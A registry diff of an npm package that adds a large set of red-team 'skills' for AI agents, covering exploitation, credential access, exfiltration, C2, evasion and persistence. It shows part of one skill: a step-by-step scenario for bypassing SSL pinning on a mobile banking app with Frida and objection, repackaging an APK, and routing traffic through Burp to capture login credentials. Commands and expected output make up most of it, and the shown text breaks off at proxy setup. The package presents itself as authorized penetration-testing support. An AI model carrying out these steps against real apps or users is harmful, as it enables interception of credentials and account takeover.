rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,723 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-m002
|
|
3
|
+
description: "M-002: SSL Pinning Bypass → MITM → Credential Interception. Domain: mobile. Attack chain: jailbreak/root device → install Frida → run objection → disable SSL pinning → configure Burp proxy → capture all HTTPS traffic including credentials. MITRE: T1557 → T1539 → T1078. Real example: Banking app: objection sslpinning disable → Burp captures username/password in login request"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# M-002: SSL Pinning Bypass → MITM → Credential Interception
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Bypass SSL/TLS certificate pinning on a mobile application to intercept HTTPS traffic via a man-in-the-middle (MITM) proxy, capturing authentication credentials and session tokens transmitted between the app and its backend API.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** Low — physical or logical access to a jailbroken/rooted mobile device running the target application. No server-side access required.
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:**
|
|
15
|
+
- Device preparation (jailbreak/root): 30–120 minutes (device-dependent; may already be done)
|
|
16
|
+
- Frida and objection installation: 15–30 minutes
|
|
17
|
+
- SSL pinning bypass: 5–15 minutes
|
|
18
|
+
- Burp Suite proxy configuration: 10–20 minutes
|
|
19
|
+
- Traffic capture and credential extraction: 10–30 minutes (dependent on app behavior)
|
|
20
|
+
|
|
21
|
+
**Detection Risk Level:** Low
|
|
22
|
+
- Attack is entirely client-side — no network anomalies visible to server-side monitoring
|
|
23
|
+
- Device-level tampering is not detectable by the server unless jailbreak/root detection is implemented in the app
|
|
24
|
+
- All captured traffic appears as normal application traffic from the server's perspective
|
|
25
|
+
- Risk increases only if the app implements jailbreak/root detection or Frida detection
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## Prerequisites
|
|
30
|
+
|
|
31
|
+
### Required Tools
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
# --- On the attacker machine (macOS/Linux/Windows) ---
|
|
35
|
+
|
|
36
|
+
# Frida — dynamic instrumentation toolkit
|
|
37
|
+
pip install frida-tools
|
|
38
|
+
# Verify installation
|
|
39
|
+
frida --version
|
|
40
|
+
|
|
41
|
+
# objection — runtime mobile exploration toolkit (wraps Frida)
|
|
42
|
+
pip install objection
|
|
43
|
+
# Verify installation
|
|
44
|
+
objection --version
|
|
45
|
+
|
|
46
|
+
# Burp Suite Community or Professional
|
|
47
|
+
# Download from: https://portswigger.net/burp/communitydownload
|
|
48
|
+
# Or install via brew on macOS:
|
|
49
|
+
brew install --cask burp-suite
|
|
50
|
+
|
|
51
|
+
# adb (Android Debug Bridge) — for Android targets
|
|
52
|
+
# Install Android SDK Platform Tools:
|
|
53
|
+
# https://developer.android.com/studio/releases/platform-tools
|
|
54
|
+
# macOS:
|
|
55
|
+
brew install android-platform-tools
|
|
56
|
+
# Linux:
|
|
57
|
+
sudo apt install adb
|
|
58
|
+
# Verify:
|
|
59
|
+
adb version
|
|
60
|
+
|
|
61
|
+
# apktool — for inspecting and repackaging APKs (optional)
|
|
62
|
+
sudo apt install apktool
|
|
63
|
+
# macOS:
|
|
64
|
+
brew install apktool
|
|
65
|
+
|
|
66
|
+
# --- On iOS targets: install via Cydia/Sileo on jailbroken device ---
|
|
67
|
+
# Frida (iOS): add https://build.frida.re to Cydia sources → install "Frida"
|
|
68
|
+
# OpenSSH: install via Cydia for remote access
|
|
69
|
+
# SSL Kill Switch 2 (alternative to Frida): install via Cydia
|
|
70
|
+
|
|
71
|
+
# --- On Android targets: install via device ---
|
|
72
|
+
# Frida server binary — download matching version for device architecture
|
|
73
|
+
# https://github.com/frida/frida/releases
|
|
74
|
+
# Example for arm64 Android:
|
|
75
|
+
wget https://github.com/frida/frida/releases/download/16.2.1/frida-server-16.2.1-android-arm64.xz
|
|
76
|
+
unxz frida-server-16.2.1-android-arm64.xz
|
|
77
|
+
|
|
78
|
+
# mitmproxy — alternative to Burp Suite (command-line)
|
|
79
|
+
pip install mitmproxy
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
### Required Access or Conditions
|
|
83
|
+
|
|
84
|
+
- Physical access to a mobile device (iOS jailbroken or Android rooted/debug-enabled)
|
|
85
|
+
- Target application installed and functional on the device
|
|
86
|
+
- Attacker machine and mobile device on the same Wi-Fi network (for proxy routing)
|
|
87
|
+
- USB cable for adb connectivity (Android) or SSH over Wi-Fi (iOS)
|
|
88
|
+
- Burp Suite CA certificate available for device installation
|
|
89
|
+
- Scope confirmation: target app and API endpoints authorized in Rules of Engagement
|
|
90
|
+
|
|
91
|
+
### Skill Level
|
|
92
|
+
|
|
93
|
+
**INTERMEDIATE** — Requires familiarity with mobile application architecture, HTTP/HTTPS proxy configuration, Frida scripting basics, and Android/iOS device management.
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## Attack Chain
|
|
98
|
+
|
|
99
|
+
```
|
|
100
|
+
[1] Prepare Device (jailbreak iOS / root Android)
|
|
101
|
+
|
|
|
102
|
+
v
|
|
103
|
+
[2] Install Frida server on device
|
|
104
|
+
|
|
|
105
|
+
v
|
|
106
|
+
[3] Verify Frida connectivity from attacker machine
|
|
107
|
+
|
|
|
108
|
+
v
|
|
109
|
+
[4] Configure Burp Suite as HTTPS proxy
|
|
110
|
+
|
|
|
111
|
+
v
|
|
112
|
+
[5] Install Burp CA certificate on device
|
|
113
|
+
|
|
|
114
|
+
v
|
|
115
|
+
[6] Route device traffic through Burp proxy
|
|
116
|
+
|
|
|
117
|
+
v
|
|
118
|
+
[7] Launch target app via objection
|
|
119
|
+
|
|
|
120
|
+
v
|
|
121
|
+
[8] Disable SSL pinning with objection
|
|
122
|
+
|
|
|
123
|
+
v
|
|
124
|
+
[9] Interact with app — trigger authentication flow
|
|
125
|
+
|
|
|
126
|
+
v
|
|
127
|
+
[10] Capture credentials and tokens in Burp HTTP History
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**MITRE ATT&CK Chain:** T1557 (Adversary-in-the-Middle) → T1539 (Steal Web Session Cookie) → T1078 (Valid Accounts)
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
## Step-by-Step Execution
|
|
135
|
+
|
|
136
|
+
### Step 1 — Device Preparation
|
|
137
|
+
|
|
138
|
+
#### Android (Root)
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# Option A: Use an Android emulator with root (no physical device needed)
|
|
142
|
+
# Install Android Studio → create AVD with Google APIs image (rootable)
|
|
143
|
+
# Start emulator:
|
|
144
|
+
emulator -avd Pixel_6_API_33 -writable-system &
|
|
145
|
+
|
|
146
|
+
# Root the emulator:
|
|
147
|
+
adb root
|
|
148
|
+
adb remount
|
|
149
|
+
# Expected output: "remount succeeded"
|
|
150
|
+
|
|
151
|
+
# Option B: Physical rooted Android device
|
|
152
|
+
# Verify root via adb:
|
|
153
|
+
adb shell su -c "id"
|
|
154
|
+
# Expected output: uid=0(root) gid=0(root)
|
|
155
|
+
|
|
156
|
+
# Enable USB Debugging on device:
|
|
157
|
+
# Settings → Developer Options → USB Debugging → ON
|
|
158
|
+
|
|
159
|
+
# Connect device and verify adb sees it:
|
|
160
|
+
adb devices
|
|
161
|
+
# Expected output:
|
|
162
|
+
# List of devices attached
|
|
163
|
+
# emulator-5554 device
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
#### iOS (Jailbroken)
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# Verify jailbreak is active and SSH is available
|
|
170
|
+
ssh root@<device-ip>
|
|
171
|
+
# Default password: alpine (change immediately on real engagements)
|
|
172
|
+
|
|
173
|
+
# Verify Frida is installed via Cydia:
|
|
174
|
+
frida-ps -U
|
|
175
|
+
# Expected output: list of running processes on device
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
**Fallback:** If the device cannot be rooted/jailbroken, use:
|
|
179
|
+
- Android: Use an older Android version (8.x) where root exploits are publicly available
|
|
180
|
+
- iOS: Use checkra1n or palera1n for A8–A11 chip devices (semi-tethered jailbreak)
|
|
181
|
+
- Alternative: Repackage the APK with Frida gadget embedded (bypasses need for root — see Step 2 alternative)
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
### Step 2 — Install and Start Frida Server on Device
|
|
186
|
+
|
|
187
|
+
#### Android
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# Download Frida server matching your frida-tools version and device ABI
|
|
191
|
+
# Check device ABI:
|
|
192
|
+
adb shell getprop ro.product.cpu.abi
|
|
193
|
+
# Expected output: arm64-v8a (or armeabi-v7a, x86, x86_64)
|
|
194
|
+
|
|
195
|
+
# Download matching server binary (example: arm64)
|
|
196
|
+
wget https://github.com/frida/frida/releases/download/16.2.1/frida-server-16.2.1-android-arm64.xz
|
|
197
|
+
unxz frida-server-16.2.1-android-arm64.xz
|
|
198
|
+
mv frida-server-16.2.1-android-arm64 frida-server
|
|
199
|
+
|
|
200
|
+
# Push to device
|
|
201
|
+
adb push frida-server /data/local/tmp/frida-server
|
|
202
|
+
adb shell chmod 755 /data/local/tmp/frida-server
|
|
203
|
+
|
|
204
|
+
# Start Frida server on device (as root)
|
|
205
|
+
adb shell su -c "/data/local/tmp/frida-server &"
|
|
206
|
+
# No output expected — server runs in background
|
|
207
|
+
|
|
208
|
+
# Verify Frida server is running
|
|
209
|
+
adb shell su -c "ps -A | grep frida"
|
|
210
|
+
# Expected output:
|
|
211
|
+
# root 12345 1 ... frida-server
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
#### iOS
|
|
215
|
+
|
|
216
|
+
```bash
|
|
217
|
+
# Frida installs as a daemon via Cydia — starts automatically
|
|
218
|
+
# Verify connectivity:
|
|
219
|
+
frida-ps -U
|
|
220
|
+
# Expected output: list of iOS processes including SpringBoard, etc.
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
**Alternative (no root — APK repackaging for Android):**
|
|
224
|
+
|
|
225
|
+
```bash
|
|
226
|
+
# Inject Frida gadget into APK — no root required
|
|
227
|
+
# Use objection to patch the APK:
|
|
228
|
+
objection patchapk --source target-app.apk
|
|
229
|
+
# Output: target-app.objection.apk
|
|
230
|
+
|
|
231
|
+
# Install patched APK
|
|
232
|
+
adb install target-app.objection.apk
|
|
233
|
+
# Launch app — Frida gadget initializes automatically
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
### Step 3 — Verify Frida Connectivity
|
|
239
|
+
|
|
240
|
+
```bash
|
|
241
|
+
# From attacker machine — list processes on connected device
|
|
242
|
+
frida-ps -U
|
|
243
|
+
# Expected output (Android):
|
|
244
|
+
# PID Name
|
|
245
|
+
# ---- ----------------------------------------
|
|
246
|
+
# 1234 com.target.bankingapp
|
|
247
|
+
# 5678 com.android.launcher3
|
|
248
|
+
# ...
|
|
249
|
+
|
|
250
|
+
# If using network (Wi-Fi) instead of USB:
|
|
251
|
+
frida-ps -H <device-ip>
|
|
252
|
+
|
|
253
|
+
# Identify the target app's process name or PID
|
|
254
|
+
frida-ps -U | grep -i bank
|
|
255
|
+
# Expected output:
|
|
256
|
+
# 1234 com.target.bankingapp
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**Fallback:** If `frida-ps` fails with "unable to connect to remote frida-server":
|
|
260
|
+
```bash
|
|
261
|
+
# Check frida-server is running:
|
|
262
|
+
adb shell ps -A | grep frida
|
|
263
|
+
# Restart if needed:
|
|
264
|
+
adb shell su -c "pkill frida-server; /data/local/tmp/frida-server &"
|
|
265
|
+
# Verify frida-tools version matches server version:
|
|
266
|
+
frida --version
|
|
267
|
+
# Download matching server if mismatch
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
---
|
|
271
|
+
|
|
272
|
+
### Step 4 — Configure Burp Suite as HTTPS Proxy
|
|
273
|
+
|
|
274
|
+
```bash
|
|
275
|
+
# Launch Burp Suite → Proxy → Options
|
|
276
|
+
# Add listener:
|
|
277
|
+
# Bind to port: 8080
|
|
278
|
+
# Bind to address: All interfaces (0.0.0.0)
|
|
279
|
+
# Click OK and ensure listener is Running
|
|
280
|
+
|
|
281
|
+
# Get attacker machine IP on the shared Wi-Fi network
|
|
282
|
+
# Linux/macOS:
|
|
283
|
+
ip addr show | grep "inet " | grep -v 127
|
|
284
|
+
# or
|
|
285
|
+
ifconfig | grep "inet "
|
|
286
|
+
# Windows:
|
|
287
|
+
ipconfig | findstr "IPv4"
|
|
288
|
+
|
|
289
|
+
# Note the IP — e.g., 192.168.1.100
|
|
290
|
+
# Device will proxy to 192.168.1.100:8080
|
|
291
|
+
```
